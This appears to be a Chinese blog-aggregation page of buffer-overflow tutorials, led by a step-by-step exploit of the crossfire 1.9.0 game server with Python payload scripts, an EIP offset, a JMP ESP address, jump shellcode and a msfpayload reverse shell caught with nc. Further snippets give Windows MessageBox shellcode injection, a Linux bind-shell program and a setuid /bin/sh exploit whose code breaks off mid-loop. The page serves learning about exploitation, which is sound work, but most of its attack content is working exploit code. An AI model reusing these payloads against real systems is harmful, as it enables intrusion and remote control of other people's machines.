精华内容
下载资源
问答
  • C语言缓冲区溢出实例

    2015-06-05 16:10:26
    自己动手实现的缓冲区溢出实例,参考0Day安全,整个文档包含5个部分的代码,分别如下: 1.反汇编修改程序的例子 2.1-缓冲区溢出-修改邻接变量 2.2-缓冲区溢出-修改执行流程 2.3-缓冲区溢出-植入代码 寻找messagebox...
  • BufferOverflow缓冲区溢出攻击原理实例源代码,Visual C++6.0环境下调试通过
  • 原理:crossfire 1.9.0 版本接受入站 socket 连接时存在缓冲区溢出漏洞。 工具: 调试工具:edb; ###python在漏洞溢出方面的渗透测试和漏洞攻击中,具有很大的优势 实验对象:crossfire【多人在线RPG游戏】 运行...
    原理:crossfire 1.9.0 版本接受入站 socket 连接时存在缓冲区溢出漏洞。
    工具:
    调试工具:edb;
    ###python在漏洞溢出方面的渗透测试和漏洞攻击中,具有很大的优势
    实验对象:crossfire【多人在线RPG游戏】
    运行平台:Kali i386 虚拟机【32位,计算机CPU位数是指地址总线位数,64位系统的寻址空间为2^64,寻址过大,难以处理,为了简化操作,所以选用32位】
    搭建实验环境
    #linux中,游戏需安装带其game文件夹
    服务器端程序
    cp crossfire.tar.gz /usr/games/
    tar -zxpf crossfire.tar.gz
    ./crossfire 运行
    出现Waiting for connections即可,有问题看看Error
    查看端口开放情况
    可以看到crossfire进程已经开始监听本地13327端口
    新版本Linux内核支持内存保护机制
    DEP、ASLR、堆栈cookies、堆栈粉碎
    今天实验内容使用的crossfire1.9程序相对来说比较简陋,不支持内存保护机制,对这个实验没有影响
    本机调试【防止在渗透测试过程中的非法网络访问,以防被黑客入侵电脑】
    iptables -A INPUT -p tcp –destination-port 13327 \! -d 127.0.0.1 -j DROP #只有通过本机访问本地网卡的13327
    iptables -A INPUT -p tcp –destination-port 4444 \! -d 127.0.0.1 -j DROP #只有通过本机访问本地网卡4444
    配置完之后可以使用iptables -L查看当前配置
    我们使用的调试工具是edb-debuger
    application应用–>reverse_engineering逆袭工程–>edb-debuger
    #开启调试 edb –run /usr/games/crossfire/bin/crossfire
    右下角是paused暂停状态
    菜单栏 Debug => Run(F9) 点击两回可以运行起来
    debug运行起来之后后启动edb-output调试输出窗口显示waitting for connections
    #查看开放端口 netstat -anptl | grep crossfire
    EIP中存放的是下一条指令的地址
    这个程序和一般的溢出不同,它必须发送固定的数据量才可以发生溢出,而不是大于某个数据量都可以,我们构造如下python程序测试
    #! /usr/bin/python import socket host = “127.0.0.1” crash = “\x41” * 4379 ## \x41为十六进制的大写A buffer = “\x11(setup sound ” + crash + “\x90\x00#” ## \x90是NULL,\x00是空字符 s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) print “[*]Sending evil buffer…” s.connect((host,13327)) data = s.recv(1024) print data s.send(buffer) s.close() print “[*]Payload Sent!”
    执行01.py
    edb中一旦缓冲区溢出发生,无法进行下一条指令,会有告警弹窗
    意思是EIP(存放一下条执行命令的地址)已经被覆盖成0x41414141地址,这个地址不能被访问。这个地址正是被由我们输入的A填充,说明EIP可控,存在溢出。
    通过测试增加一个A或者减少一个A发送,会发现后边两个数值都不是A,都不可控,也就是说数据量只有为4379时EIP才完全可控
    唯一字符串精确定位EIP位置
    为了查看到底是哪个位置的A才是溢出后的EIP地址,借助工具生成唯一字符串
    cd /usr/share/metasploit-framework/tools/exploit/ ./pattern_create.rb -l 4379
    复制下来,构造如下python脚本
    #! /usr/bin/python import socket host = “127.0.0.1” crash = “唯一字符串” buffer = “\x11(setup sound ” + crash + “\x90\x00#” s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) print “[*]Sending evil buffer…” s.connect((host,13327)) data = s.recv(1024) print data s.send(buffer) s.close()
    重新启动edb服务,连按两次F9开始运行
    执行02.py
    可以看到EIP寄存器内存地址为0x46367046
    接下来我们需要利用工具确认字符串的位置
    cd /usr/share/metasploit-framework/tools/exploit/ ./pattern_offset.rb -q 46367046
    可以看到偏移量是4358,也就是说EIP地址前面有4368个字符。4369,4370,4371,4372的位置存放的是溢出后的EIP地址。
    我们构造如下python脚本验证,用B精确的存入4369-4372的位置。
    #! /usr/bin/python import socket host = “127.0.0.1” crash = ‘A’*4368 + ‘B’*4 + ‘C’*7 ## 凑够4379个字符,只有4379个字符才可精确的发生EIP的内存覆盖 buffer = “\x11(setup sound ” + crash + “\x90\x00#” s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) print “[*]Sending evil buffer…” s.connect((host,13327)) data = s.recv(1024) print data s.send(buffer) s.close() print “[*]Payload Sent!”
    运行程序,可以看到弹出报错窗口提示0x42424242这个地址是不能被访问的
    双击EIP寄存器地址,可以看到EIP地址被精准的填充为B字符
    右键ESP,选择 Follow In Dump 查看数据,可以看到ESP寄存器填充了7个C
    因为必须是精确的字符才能溢出,就是说ESP寄存器只能存放7个字符,显然无法存放shellcode
    几个寄存器都查看后,选择了EAX。因为EAX存放的是我们之前发送的几千个A,是可控的,且有足够的大小存放shellcode
    因为setup sound为服务器指令,所以前十二个字符须先发送setup sound
    思路就是让EIP存放EAX的地址,然后在地址上加12,直接从第一个A的位置开始执行。但是各个机器的EAX的地址也各不相同,不具有通用性,所以直接跳转的思路就放弃。
    既然ESP可以存放7个字符,想到了跳转EAX并偏移12
    第一阶段shellcode:从ESP【7个字节】 跳转到 EAX,在ESP中实现偏移12位字符
    root@kali:~# locate nasm_shell.rb
    /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
    root@kali:~# cd /usr/share/metasploit-framework/tools/exploit/
    root@kali:/usr/share/metasploit-framework/tools/exploit# ./nasm_shell.rb
    将汇编指令转换为十六进制
    因为ESP可以存放7个字节,实现跳转只需5个字节,足够插进ESP中,实现跳转到EAX
    跳转的内容我们用十六进制表示 \x83\xc0\x0c\xff\xe0\x90\x90
    \x90:跳转字符,防止被过滤【计算机读入数据顺序与人类阅读顺序相反】
    构造如下python代码运行
    #! /usr/bin/python import socket host = “127.0.0.1” crash = ‘A’*4368 + ‘B’*4 + ‘\x83\xc0\x0c\xff\xe0\x90\x90’ buffer = “\x11(setup sound ” + crash + “\x90\x00#” s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) print “[*]Sending evil buffer…” s.connect((host,13327)) data = s.recv(1024) print data s.send(buffer) s.close() print “[*]Payload Sent!”
    EIP地址仍然是精准的覆盖四个B
    ESP => Follow In Dump 查看
    可以看到ESP寄存器被成功覆盖为十六进制的\x83\xc0\x0c\xff\xe0\x90\x90
    转化为汇编语言就是我们的跳转指令jmp eax
    思路就是EIP => ESP => EAX,EAX存放shellcode,因为ESP地址不固定,需要借助固定的地址跳转
    打开edb,菜单栏 Plugins => OpcodeSearcher => OpcodeSearch
    选择crossfire程序,ESP -> EIP,选择一个jmp esp 的地址,这个地址是不会变的
    #EIP->jmp ESP->ESP->EAX
    这里我再强调一下,这个实验一定要用32位系统来做,否则64位系统这里会出现问题,如下图
    菜单栏 plugin => breakpointmanager => breakpoints 选择add增加我们上边选择的地址的断点用来测试。
    查找坏字符
    \x00\x0a\x0d\x20
    将256个编码放进脚本中逐一查找
    设置断点(0x08134597)
    EIP——08134597
    则EIP跳转地址为
    crash = “\x41” * 4368 + “\x97\x45\x13\x08″【EIP】 + “\x83\xc0\x0c\xff\xe0\x90\x90″【EAX】
    程序执行到EIP——08134597处被阻断,
    此时按F8执行下一步
    再按F8就跳入ESP寄存器
    将4368个字符中,替换成shellcode,剩余位继续填充”A“【需计算shellcode字符数量】
    然后我们测试坏字符,经过测试坏字符是\x00\x0a\x0d\x20
    生成shellcode并过滤坏字符
    cd /usr/share/framework2/ ./msfpayload -l #可以生成的shellcode的种类 ./msfpayload linux_ia32_reverse LHOST=127.0.0.1 LPORT=4444 R | ./msfencode -b “\x00\x0a\x0d\x20”
    构建python脚本
    #!/usr/bin/python import socket host = “127.0.0.1” shellcode = (生成的shellcode) crash = shellcode + “A”*(4368-105) + “\x97\x45\x13\x08” + “\x83\xc0\x0c\xff\xe0\x90\x90” buffer = “\x11(setup sound ” +crash+ “\x90\x90#)” s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) print “[*]Sending evil buffer…” s.connect((host,13327)) data = s.recv(1024) print data s.send(buffer) s.close() print “[*]Payload Sent!”
    打开侦听4444端口【当有人连接4444的时候,则getshell】
    nc 127.0.0.1 4444 ###获得shell
    展开全文
  • C语言实现缓冲区溢出实例

    千次阅读 2017-08-01 14:28:50
    最近需要做课堂演习,就选了缓冲区溢出的实践。主要参考0day安全这本书,一面一句话很经典:  To be the apostrophe which changed Impossible into I’m possible! 直接步入正题: 1. 反汇编修改程序

    参考书目:0day安全:软件漏洞分析技术 
    相关工具使用:OD,IDA Pro,VC++6.0,UltraEdit

    最近需要做课堂演习,就选了缓冲区溢出的实践。主要参考0day安全这本书,一面一句话很经典: 
    To be the apostrophe which changed Impossible into I’m possible!

    直接步入正题:

    1. 反汇编修改程序

    在实现缓冲区溢出之前,简单熟悉一下反汇编重用的两个软件,OD和IDA,用OD修改程序代码实例。

    #include <stdio.h>
    #define PASSWORD "1234567"
    int verify(char *password)
    {
        int auth;
        auth = strcmp(password, PASSWORD);
        return auth;
    }
    
    int main(void){
        int flag = 0;
        char pass[1024];
        while(1){
            printf("enter the password:\t");
            scanf("%s", pass);
            flag = verify(pass);
            if(flag)
                printf("password incorrect!\n");
            else{
                printf("congratulation!\n");
                break;
            }
        }
    }
    
     
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25

    代码就是简单验证输入密码是否正确,首先用IDA打开编译生成的应用程序。看到这样一个图(好像每次打开生成的东西都不太一样~) 
    这里写图片描述
    如果看不到地址可以在Options->General在Line prefixes前打钩以及将Number of opcode bytes设置为6就可以了。这样就可以找到代码中相应的跳转部分,然后用OD打开对应的EXE文件,看到下图: 
    这里写图片描述 
    找到004010D5这条命令就是对应的判断地方了,对应的汇编命令为:

    JE X1.004010E6
     
    • 1
    • 1

    于是将JE改成JNE,再运行程序,这时发现原来正确的密码不正确,原来错误密码都可以通过!用OD还可以对程序保存,一个简单的破解就完成了。(OD保存软件不会的话可以网上搜一下,我当时没搞懂还是请教的大神)

    2. 缓冲区溢出漏洞修改邻接变量

    还是刚刚的类似程序,假如程序员一不小心或者因为要在其他地方使用字符串,加了个strcpy函数,验证函数如下所示:

    int verify(char *password)
    {
        int auth;
        char buffer[8];
        auth = strcmp(password, PASSWORD);
        strcpy(buffer, password);
        return auth;
    }
     
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    看似还是正常的一个程序却会发生不可思议的事情,不信运行程序输入qqqqqqqq试试,发现没,通过验证了!这是为什么呢?来看看栈里面数据的存放:
    

    这里写图片描述 
    啊,原来是这样啊,输入qqqqqqqq,或者输入其他8位也行(11111111不行,自己探索吧)在strcmp的时候auth确实是1,但是在进行strcpy之后,buffer里面的数据太长了,占了auth的位置,将auth从1改成了0。 
    看来下次写程序要注意点了!

    3. 修改程序执行流程

    是看了上面的原理图,是不是懂了点什么!EBP和返回地址是啥?不禁心生恶意,我要是再长点,是不是把返回地址给换了???还有那个EBP啥东西???

    事实上,EBP是PE文件执行时候在函数调用时函数调用前栈底指针,在函数调用时会重新生成一个比较小的栈,此新栈为调用的函数所用,因此需要将之前栈的栈底入栈。在调用新的子程序的时候,也需要将子函数的返回地址入栈,不然子函数执行完了,计算机就不知道下一步执行什么了~

    搞懂了这点知识,我们就可以利用这个来修改程序的执行流程了,具体实验可以自己做。

    4 代码植入

    之前例子的缓冲区较小,正常的函数中如果使用的话,缓冲区可能是比较大的,下面用新的例子来测试缓冲区溢出中的代码植入,完整的代码见上传的文件。

    int verify(char *password)
    {
        int auth;
        char buffer[44];
        auth = strcmp(password, PASSWORD);
        strcpy(buffer, password);
        return auth;
    }
     
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    此次的实验中由于控制台输入的限制性,将输入流改为文本。实验的目的是利用缓冲区溢出漏洞植入代码,代码内容为弹出一个新的窗口。

    int MessageBox(
      HWND hWnd,          // handle of owner window
      LPCTSTR lpText,     // address of text in message box
      LPCTSTR lpCaption,  // address of title of message box
      UINT uType          // style of message box
    );
     
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    上面是MessageBox的四个参数,如果弹出标题和内容都是hellobug的串,四个参数分别为: 
    NULL, “hellobug”, “hellobug”, NULL 
    根据MessageBox得到应该执行的汇编代码

    Xor ebx, ebx
    Push    ebx
    Push    68656C6Ch
    Push    6F627567h
    Mov eax, esp
    Push    ebx
    Push    eax
    Push    eax
    Push    ebx
    MOV EAX, ADDRESS
    CALL EAX
     
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    最后的Address是MessageBoxA地址,对应的机器码如下:

    33 DB
    53
    68 6C 6C 65 68        //hell
    68 67 75 62 6F        //obug
    8B C4
    53
    50
    50
    53
    B8 ADDRESS
    FF D0
     
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    因为缓冲区有44个字节,而四个字节一组,因此有11组,加上原来的auth,EBP和返回地址,一共14组,每组4个字节。新建一个这样的文件。 
    这里写图片描述 
    我在执行的过程中最后部分0018FD44就是Buff的起始地址。

    接下来的问题就是buff的起始地址以及MessageBox的入口地址怎么找到呢?

    首先是buff的起始地址,这个比较简单,将该文件写为14组1234,然后在OD里面跑一遍之后可以看到内存里面的数据,这个数据区的起始地址就是就是buff的起始地址。

    然后是MessageBox的入口地址,在0Day安全这本书中有计算过程,我按照这个过程没有实现,因此我自己找了一个方法,有兴趣的同学可以按照书上的计算一下~

    我的试验工程就是新建一个工程,只允许Messagebox然后通过OD查看其入口地址

    #include <stdio.h>
    #include <windows.h>
    
    int main(void)
    {
    
        LoadLibrary("user32.dll");
        MessageBoxA(NULL, "abc", "def", NULL);
        return 0;
    }
     
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    写这样一个简单的程序用OD打开以下就好啦 
    这里写图片描述 
    找到MessageBox回车之后就进入了,从这个图可以看出入口地址是768EFD1E 
    然后整个文件就制作完成了,运行一下看看吧 
    这里写图片描述

    以上就是一个简单的缓冲区溢出的实例了,不过在植入代码这个过程中电机确定之后~~就挂了,因为一些参数没有设置好,慢慢再深入研究吧。

    展开全文
  • 在关闭缓冲区溢出保护后进行编译:(Ubuntu 12.04 32位,gcc版本4.6.3) gcc -fno-stack-protector -z execstack -o pwd.out pwc.c 在命令行输入 ./pwd.out运行, 发现输入:11111111、12344444等字符串时会提示密码...

    在这里插入图片描述
    在关闭缓冲区溢出保护后进行编译:(Ubuntu 12.04 32位,gcc版本4.6.3) gcc -fno-stack-protector -z execstack -o pwd.out pwc.c
    在命令行输入 ./pwd.out运行,
    发现输入:11111111、12344444等字符串时会提示密码不正确,而在输入qqqqqqqq、 12355555时会提示密码正确。
    (1)分析这些现象产生的原因,并总结规律;
    (2)在缺省编译状态下,例如 gcc pwd.c -o pwd.out 后,运行程序不会产生这样的 结果,试从汇编代码这一级别进行解释;

    在正确情况下(没有关闭缓冲区溢出时),只有当输入为1234567时,flag为0,输出congratulation。

    关闭缓冲区溢出时,当输入密码为8位,且大于12345670时,输出congratulation。

    原因:在关闭缓冲区溢出保护之后,由于strcpy函数会将输入的password后加上\0并入buffer,这样使得buffer溢出一个\0,就改变了前一个变量auth的值。

    调试结果:
    输入的password=qqqqqqqq时
    执行完strcmp,执行strcpy之前:
    auth的值为1,因为qqqqqqqq>1234567,buffer中的值是随机的。
    在这里插入图片描述
    在这里插入图片描述
    执行strcpy之后:
    auth第一个字节被\0覆盖了
    在这里插入图片描述
    在这里插入图片描述
    栈中的数据存储情况:

    展开全文
  • 缓冲区溢出攻击实例

    2013-12-20 09:02:14
    缓冲区溢出攻击及防范实例,网络攻击与防御课程使用
  • 很好的逆向分析的学习资料!!! https://blog.csdn.net/wlwdecs_dn/article/details/114708775
  • 缓冲区溢出代码实例总结

    千次阅读 2016-07-09 11:36:22
    尝试修改EIP,控制执行路径 buf数组溢出后,从文件读取的内容会在当前栈帧沿着高地址覆盖,而该栈帧的顶部存放着返回上一个函数的地址(EIP),只要覆盖了该地址,就可以修改程序的执行路径。 为此,需要知道从文件...

    1

     

    #include <stdio.h>
    
    #define PASSWORD "1234567"
    
    int verify_password (char *password)
    {
       int authenticated;
       char buffer[8]; // add local buffto be overflowed
       authenticated=strcmp(password,PASSWORD);
       strcpy(buffer,password); // over flowed here!
       return authenticated;
    }
    main()
    {
       int valid_flag=0;
       char password[1024];
       while(1)
       {
          printf("please input password: ");
          scanf("%s", password);
          valid_flag=verify_password(password);
          if(valid_flag)
          {
             printf("incorrect password!\n\n");
          }
          else
          {
             printf("Congratulation! You have passed the verification!\n");
             break;
          }
       }
    }


    如果输入的密码超过7个字符,(注意字符串截断符NULL将占用一个字节),则越界字符的ASCII码会修改掉authenticated的值。如果这段溢出数据恰好把authenticated改为0,则程序流程将被改变。

     

     

     

     

     

    2

     

     

    #include<stdio.h>
    void main()
    {
      int i=0;
      int a[]={1,2,3,4,5,6,7,8,9,10};
    
      for(i=0;i<=10;i++)
      {
        a[i]=0;
        printf("Hello World!\n");
      }
    }


    这段代码经过VC 6.0编译后,运行,在控制台无限制输出了“HelloWorld!”,

     

     

     

     

    3

     

    #include <stdio.h>  
    #include <string.h>  
      
    int main(int argc, char *argv[])  
    {  
            char buf[32];  
            FILE *fp;  
      
            fp = fopen("bad.txt", "r");  
            if (!fp) {  
                    perror("fopen");  
                    return 1;  
            }  
      
            fread(buf, 1024, 1, fp);  
            printf("data: %s\n", buf);  
      
            return 0;  
    }


    代码有明显的溢出问题,在栈上定义32个字节的字符数组,但从bad.txt文件可读出多达1024个字节。
    尝试修改EIP,控制执行路径
    buf数组溢出后,从文件读取的内容会在当前栈帧沿着高地址覆盖,而该栈帧的顶部存放着返回上一个函数的地址(EIP),只要覆盖了该地址,就可以修改程序的执行路径。
    为此,需要知道从文件读取多少个字节,才开始覆盖EIP。一种方法是反编译程序进行推导,另一种方法是基测试的方法。

     

     

     

     

    4

    (Linux)
    绑定端口shellcode的逻辑很简单:打开socket,然后绑定到端口,等待远程进行链接,链接到后将0/1/2描述符都复制该socket上,再启动一个shell。 

     

    #include <unistd.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    
    int sock, cli;
    struct sockaddr_in serv_addr;
    
    int main()
    {
    serv_addr.sin_family  = 2;
    serv_addr.sin_addr.s_addr = 0;
    serv_addr.sin_port = 0xAAAA;
    
    sock = socket(2, 1, 0);
    bind(sock, (struct sockaddr *)&serv_addr, 0x10);
    listen(sock, 1);
    cli = accept(sock, 0, 0);
    dup2(cli, 0);
    dup2(cli, 1);
    dup2(cli, 2);
    execve("/bin/sh", 0, 0);
    }

     

     

     

    5

     

     

    /* buffer overflow example by watercloud@xfocus.org */
    #include<stdio.h>
    
    void why_here(void) /*这个函数没有任何地方调用过*/ 
    { 
    printf("why u here ?!\n");
     _exit(0);
    }
    
    int main(int argc,char * argv[])
    {
     
    int buff[1];
     
    buff[2]=(int)why_here;
     return 0;
    }


    在命令行用VC的命令行编译器编译(在Linux 下用gcc 编译并运行也是同样结果):
    仔细分析程序和打印信息,你可以发现程序中我们没有调用过why_here 函数,但该函数却 在运行的时候被调用了!! 
    这里唯一的解释是buff[2]=why_here;操作导致了程序执行流程的变化。

     

     

     

     

     

    6

     

    (linux)

     

    /*
    * 文件名 : myex.c
    * 编译 : gcc -o myex myex.c
    *
    * 说明 : 这是在virtualcat关于如何编写Linux下的exploit程序介绍中用来攻击
    * 有问题的程序p的程序示范源代码
    * 有关程序p的源代码请参见同一文章中的p.c
    * 如果有什么问题, 请与virtualcat联系: virtualcat@hotmail.com
    *
    * 这个程序要求把相应的宏 ESP_RET_DIFF 的定义改为 -116到 -16之间的值才能正常工作,
    * 不然的话, 要通过命令行参数来进行调整, 原因请参见见文章中的分析.
    *
    * 此程序在Redhat 6.2 Linux 2.2.14-12 上调试通过.
    *
    */
    #include 
    #include 
    #include 
    #include 
    #define RET_DIS 14 // Displacement to replace the return address
    #define NOP 0x90 // Machine code for no operation
    #define NNOP 100 // Number of NOPs
    #define ESP_RET_DIFF 0 //--> Need to apply an appropriate value here. (-60 shoul work)
    char shellCode[] = "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" /* setuid(0) */
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"
    "\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
    "\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
    int get_esp()
    {
        __asm__("mov %esp, %eax");
    }
    int main(int argc, char **argv)
    {
        char* charPtr = NULL;
        char* bufferPtr = NULL;
        int* intPtr = NULL;
        int shellCodeLength = strlen(shellCode);
        int bufferSize = RET_DIS + NNOP + shellCodeLength + 1;
        int retAddr = 0;
        int adjustment = 0;
        int i;
        int esp = get_esp();
        if(argc >= 2)
        {
            adjustment = atoi(argv[1]);
        }
        retAddr = esp + ESP_RET_DIFF + adjustment;
        bufferPtr = (char *) malloc(bufferSize);
        if(bufferPtr != NULL)
        {
            /* Fill the whole buffer with 'A' */
            memset(bufferPtr, 0x41, bufferSize);
            /* Butt in our return address */
            intPtr = (int *) (bufferPtr + RET_DIS);
            *intPtr++ = retAddr;
            charPtr = (char *) intPtr;
            /* To increase the probabilty of hitting the jackpot */
            for(i=0; i

     

     

     

     

     

    shellcode即我们要获得超级权限的shell的一段代码。我们的目的就是
    想让main函数调用vulFunc以后返回到shellcode的首地址处,接着执行我们的shellcode,如果能达到这个目的的话,那我们的攻击也就完成了。
    这段代码的核心就是填充bufferptr所指向的buffSize个内存块。
    可以看到执行后的id变为root,得到超级权限的shell了,

     

    展开全文
  • 通过视频讲解C语言程序的运行时结构以及缓冲区溢出攻击原理。
  • 缓冲区溢出攻击的例子 缓冲区是程序用来存储数据的连续内存区域,一旦分配完成,其起始地址(边界)和大小就固定下来。 当使用缓冲区时,如果使用了超出边界的区域,就称为缓冲区溢出(Buffer overflow) 如果缓冲...
  • Q缓冲区溢出教程,傻瓜版的溢出教程,任何人跟着学习都能学会的
  • 本书定位于初学缓冲区溢出利用的读者;并照顾想学习缓冲区溢出技术的朋友。本书的目的是用幽默的语言和通俗的解释,对Windows缓冲区溢出编程的思路和思维进行详细分析;并用大量实例对溢出的实际利用进行一次又一次...
  • 我的开发环境 操作系统:windows xp professional + sp1a 编译器:visual c++.net 2003 由于操作系统的补丁太多,即使与我相同的系统也可能需要修改LoadLibrary、GetProcAddress、VirtualAlloc和"jmp esp"指令的...
  • 经典缓冲区溢出小例子

    千次阅读 2020-03-07 00:23:51
    经典缓冲区溢出小例子 文章目录经典缓冲区溢出小例子0.说明1.基于缓冲区溢出的HelloWord2.永不停止的HelloWord 0.说明 ​ 两个小程序,C语言编写,VC++6.0编译 ​ 调试用的OD。 ​ 小程序来源:“滴水逆向”的视频...
  • 缓冲区溢出 缓冲区溢出:http://www.cnblogs.com/fanzhidongyzby/archive/2013/08/10/3250405.html
  • Linux系统下穿越火线-缓冲区溢出 原理:1.9.0 版本接受入站 socket 连接时存在缓冲区溢出漏洞。 工具:调试工具:edb; 实验对象:crossfire 运行平台:Kali i686 虚拟机【32位,计算机CPU位数是指地址总线,64位...
  • 缓冲区溢出详解

    2021-02-28 06:58:40
    1 缓冲区溢出原理缓冲区是一块连续的计算机内存区域,可保存相同数据类型的多个实例。缓冲区可以是堆栈(自动变量)、堆(动态内存)和静态数据区(全局或静态)。在C/C++语言中,通常使用字符数组和malloc/new之类内存...
  • 缓冲区溢出初步(标准栈溢出) 总结 & 提问 深入了解缓冲区溢出 总结 & 提问 安全编程防止缓冲区溢出(一些实例) 拓展:非x86平台上的缓冲区溢出 总结 & 提问
  • 堆栈 Cookie 检测代码检测到基于堆栈的缓冲区溢出(在一个函数结束末尾花括号报错) 如下图: 经检查,没有常见的数组访问越界问题 将栈变量申请为堆变量解决问题: void _buttonEvent(vrinputemulator::...
  • 具体而言,缓冲区溢出包含的变种有栈缓冲区溢出,堆缓冲区溢出等。 2 保护措施  为了保护系统不受缓冲区溢出的攻击,研究人员提出了一系列的保护措施,包括:  地址空间随机化(ASLR),在每次编译链接时,将程序...
  • 缓冲区溢出 概念 缓冲区是程序运行时机器内存中的一个连续块,它保存了给定类型的数据。缓冲区溢出是指当向缓冲区内填充数据位数超过了缓冲区自身的容量限制时,溢出的数据覆盖在合法数据(如数据、下一条指令的指针...
  • 缓冲区溢出的例子

    千次阅读 2013-09-29 09:50:46
    缓冲区攻击1.代码如下:#include&lt;stdio.h&gt;#include&lt;string.h&gt;root (){printf("your have a root!\n");}main (){char passwd[16]; char login[16];printf("login :"...
  • linux下缓冲区溢出实例

    千次阅读 2013-01-22 22:49:50
    最近一段时间,在网上搜索关于缓冲区溢出攻击的文章,实验了一下,成功实现了缓冲区溢出攻击,现在把过程记录下来。   #include #include void hello() { printf("hello\n"); } int fun(char *str) {...
  • 一、什么是缓冲区溢出缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量,使得溢出的数据覆盖在合法数据上,通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈...
  • 缓冲区溢出是一种非常普遍、非常危险的漏洞,在各种操作系统、应用软件中广泛存在。利用缓冲区溢出攻击,可以导致程序运行失败、系统宕机、重新启动等后果。更为严重的是,可以利用它执行非授权指令,甚至可以取得...
  • 前面发了两篇都是关于C语言缓冲区溢出的文章,有的同行问,是否C#、Java语言有缓冲区溢出问题吗?答案是否定的。由于C#、Java语言需要虚拟机去执行,属于托管语言,虚拟机会自动检查边界。一般不会出现缓冲区溢出。...
  • 缓冲区溢出

    2020-08-17 08:58:19
    1 引言 “缓冲区溢出”对现代操作系统与编译器来讲已经不是什么大问题,但是作为一个合格的 C/C++ 程序员,还是完全有必要了解它的整个细节。计算机程序一般都会使用到一些内存,这些内存或...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 34,679
精华内容 13,871
关键字:

缓冲区溢出实例